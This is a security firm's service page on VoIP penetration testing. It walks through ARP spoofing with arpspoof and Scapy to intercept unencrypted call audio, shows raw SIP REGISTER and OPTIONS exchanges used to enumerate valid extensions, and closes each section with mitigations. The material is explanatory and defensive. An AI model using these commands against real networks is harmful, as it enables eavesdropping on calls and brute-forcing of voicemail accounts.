VoIP Penetration Testing
VoIP (Voice over IP) and Internet telephony has redefined communications services in the enterprise, and is now in widespead use due to its low costs and bandwidth efficiency. Since phones can be implemented directly on the corporate network, expenditure in both their underlying infrastructure and continued operation are reduced significantly. However, this concept introduces risks that have been prevalent since the inception of VoIP which often only in-depth penetration testing can reveal.
Since VoIP telephones and systems are internet-facing network devices, they are open to attack across the network and serve as endpoints in the corporate infrastructure. Attackers will often attempt to abuse these services to enumerate lists of valid user extensions, sometimes used to brute-force voicemail accounts. Furthermore, VoIP devices that are configured to establish connections in cleartext, or with weak encryption, could potentially allow an attacker to eavesdrop on conversations. If they are actually able to gain full control of the phone, they would be able to place calls to premium phone lines in what's commonly known as a toll fraud attack.
ReactionIS are experienced in evaluating the security of VoIP implementations, particularly those running SIP, H.323, SCCP and UNIStim. During a VoIP penetration test we will attempt to gain access to these devices, and are also able to conduct in-depth configuration reviews of the IP phones and VoIP gateways, recommending courses of action that can reduce the security risks associated with implementing VoIP on your network.
A Case Study
In 2009 an Australian business was hit with a toll fraud attack on their VoIP systems, costing the company over £57,000 in just two days.
A hacker recently obtained unauthorised access to the IP telephony (VoIP) system of a Perth business, making 11,000 calls costing over $120,000, according to the Western Australian police. The calls were made over a period of 46 hours, the police said, and the business only became aware of the imposition when it received an invoice from its service provider. Suzanne Tindal ZDNet
VoIP Interception
Attackers with access to network traffic might be able to eavesdrop on unencrypted VoIP conversations. This is usually only possible when on the local network, but leaves unencrypted connections open to interception. Attackers who have gained access to your network might leverage this method to record and log calls from high ranking individuals within the organisation.
Before an attacker can eavesdrop on the conversation, they need to be able to sniff the data stream. This is much easier of the call is being conducted over an open WiFi connection, but this is unlikely. In reality, it will be between two phones on a switched network. Normally, an attacker wouldn't be able to sniff anything beyond the switch, but in some cases they might be able to conduct an ARP spoofing attack.
ARP Spoofing
An attacker on the local network is first going to use an ARP spoofing attack to redirect traffic from the phones to their computer. ARP is used to map IP addresses at the network layer to MAC addresses at the link layer. However, unless specific security controls are enabled, an attacker is able to spoof their IP address by poisoning other hosts' ARP caches. This can result in each phone thinking that the attacker's MAC address is actually the other phone.
The target phones have been identified at 192.168.0.3 and 192.168.0.4.
root@bt:/# echo 1 > /proc/sys/net/ipv4/ip_forward root@bt:/# arpspoof -i eth1 -t 192.168.0.4 192.168.0.3 root@bt:/# arpspoof -i eth1 -t 192.168.0.3 192.168.0.4
The above commands will enable IP forwarding, and then use dsniff's arpspoof to redirect traffic between the phones in both directions. This establishes a Man-in-the-Middle, so all traffic is going through the attacker's computer.
Intercepting
Now that the traffic is being directed through the attacker's computer, they can now start to decode the RTP stream. In this case, the attacker is going to use a common tool called Scapy. This will perform two functions: capture the traffic on the interface, and decode the G.711 RTP stream if it finds one.
root@bt:/# scapy
Welcome to Scapy (2.0.1)
>>> load_module("voip")
>>> voip_play("192.168.0.3", iface="eth1")
If the attack works, Scapy should be able to decode the stream and play the audio to the attacker, potentially resulting in the disclosure of sensitive information.
Solution
It is important to run encrypted VoIP signalling protocols and media streams wherever possible, such as SRTP and SIPS. This helps to ensure that conversation remains private over the wire, as long as strong SSL/TLS ciphers and protocols are in use.
Most modern switches have protection built-in for ARP spoofing attacks, and this should be enabled to prevent attackers from sniffing any kind of data across the network. We would always recommend a regular program of penetration testing to ensure that your networks and VoIP implementations are safe from attack.
SIP User Enumeration
In the world of VoIP, extension numbers can in some ways be considered usernames. They identify each phone, and consequently the person who answers it, uniquely. Furthermore, they are required for users to authenticate themselves against the voicemail system, along with a secret passcode. Like username enumeration, the ability to enumerate valid extensions increases the likelihood that an attacker will be able to brute-force corresponding passwords, and obtain sensitive information contained within voicemail systems.
Crafting SIP requests and analysing responses is trivial since the protocol is human-readable. Since most SIP gateways are similar in their implementation, however, methods of enumeration often differ between them. The following two methods are commonly used to enumerate users across certain gateways.
REGISTER Verb
It is possible to enumerate users on some implementations using the REGISTER verb. The following request attempts to register a valid user (1235).
REGISTER sip:10.219.1.120 SIP/2.0 Via: SIP/2.0/UDP 10.219.1.209:60402;branch=z9hG4bK-d87543- 7f079d2614297a3c-1--d87543-;rport Max-Forwards: 70 Contact: To: From: ;tag=253bea4e Call-ID: NjUxZWQwMzU3NTdkNmE1MzFjN2Y5MzZjODVlODExNWM. CSeq: 1 REGISTER Expires: 3600 Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, NOTIFY, MESSAGE, SUBSCRIBE, INFO User-Agent: X-Lite release 1011s stamp 41150 Content-Length: 0
Since the user exists but we haven't authenticated, we receive an 401 Unauthorized response.
SIP/2.0 401 Unauthorized Via: SIP/2.0/UDP 10.219.1.209:60402;branch=z9hG4bK-d87543-7f079d2614297a3c-1--d87543-;received=10.219.1.209;rport=60402 From: ;tag=253bea4e To: ;tag=as2a195a0e Call-ID: NjUxZWQwMzU3NTdkNmE1MzFjN2Y5MzZjODVlODExNWM. CSeq: 1 REGISTER User-Agent: Asterisk PBX Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, SUBSCRIBE, NOTIFY WWW-Authenticate: Digest algorithm=MD5, realm="asterisk', nonce="3aa1f109" Content-Length: 0
However, if we send an invalid user (1205)...
REGISTER sip:10.219.1.120 SIP/2.0 Via: SIP/2.0/UDP 10.219.1.209:29578;branch=z9hG4bK-d87543-d2118f152c6dde3a-1--d87543-;rport Max-Forwards: 70 Contact: To: From: ;tag=4f5c5649 Call-ID: N2NmNDEwYWE3Njg2MjZmYjY3YzU3YjVlYjBhNmUzOWQ. CSeq: 1 REGISTER Expires: 3600 Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, NOTIFY, MESSAGE, SUBSCRIBE, INFO User-Agent: X-Lite release 1011s stamp 41150 Content-Length: 0
...the server returns a different response.
SIP/2.0 403 Forbidden Via: SIP/2.0/UDP 10.219.1.209:29578;branch=z9hG4bK-d87543-d2118f152c6dde3a-1--d87543-;received=10.219.1.209;rport=29578 From: ;tag=4f5c5649 To: ;tag=as29903dcb Call-ID: N2NmNDEwYWE3Njg2MjZmYjY3YzU3YjVlYjBhNmUzOWQ. CSeq: 1 REGISTER User-Agent: Asterisk PBX Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, SUBSCRIBE, NOTIFY Content-Length: 0
Receiving the 403 Forbidden status indicates that the server responds differently to valid and invalid users, allowing an attacker to try different extension numbers and enumerate a list of users that could be used in subsequent attacks.
OPTIONS Verb
For gateways that are not vulnerable to the above method, some might disclose valid users in response to the OPTIONS verb. Sending a request for a valid user (1000) looks like this:
OPTIONS sip:[email protected]:45762;rinstance=9392d304f687ea72 SIP/2.0 Record-Route: ; tag=313030300134323735383232393738 Accept: application/sdp User-Agent: friendly-scanner To: "1000" Contact: sip:[email protected] CSeq: 1 OPTIONS Call-ID: 1985604897 Max-Forwards: 12
The server responds:
SIP/2.0 200 OK Via: SIP/2.0/UDP 10.219.1.100;branch=z9hG4bK044d.9008af46.1 Via: SIP/2.0/UDP 172.23.17.32:5060;received=10.219.1.209;branch=z9hG4bK-3195048687;rport=5060 Record-Route: Contact: To: "1000";tag=1734a34c From: "1000";tag=313030300134323735383232393738 Call-ID: 1985604897 CSeq: 1 OPTIONS Accept: application/sdp Accept-Language: en Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, NOTIFY, MESSAGE, SUBSCRIBE, INFO User-Agent: X-Lite release 1011s stamp 41150 Content-Length: 0
As expected, the server responds with a 200 OK status, suggesting that the user is valid. To confirm this, we send the same request for an invalid user (1090) to see if the server responds differently:
OPTIONS sip:[email protected] SIP/2.0 Via: SIP/2.0/UDP 172.23.17.32:5060;branch=z9hG4bK-545668818;rport Content-Length: 0 From: "1090"; tag=313039300133353531333131323236 Accept: application/sdp User-Agent: friendly-scanner To: "1090"sip:[email protected] Contact: sip:1090@10.219.1.100 CSeq: 1 OPTIONS Call-ID: 26712039 Max-Forwards: 70
The server responds:
SIP/2.0 404 User Not Found Via: SIP/2.0/UDP 172.23.17.32:5060;branch=z9hG4bK-545668818;rport=5060;received=10.219.1.209 From: "1090"; tag=313039300133353531333131323236 To: "1090";tag=5f750a9974f74b1c8bc2473c50955477.8334 CSeq: 1 OPTIONS Call-ID: 26712039 Server: Sip EXpress router (0.9.7 (x86_64/linux)) Content-Length: 0 Warning: 392 10.219.1.100:5060 "Noisy feedback tells:pid=30793 req_src_ip=10.219.1.209 req_src_port=5060 in_uri=sip:[email protected] out_uri=sip:[email protected] via_cnt==1"
In this case, the 404 User Not Found status clearly tells us that the user is invalid.
Solution
Preventing the enumeration of VoIP users comes down to the gateway product in use, and whether it has protection in place. Some gateways may return a uniform response unless the user has already been authenticated for example. VoIP penetration testing of your initial setup and on-going regular testing is vital to ensure that your VoIP systems are safe from cyber attack.
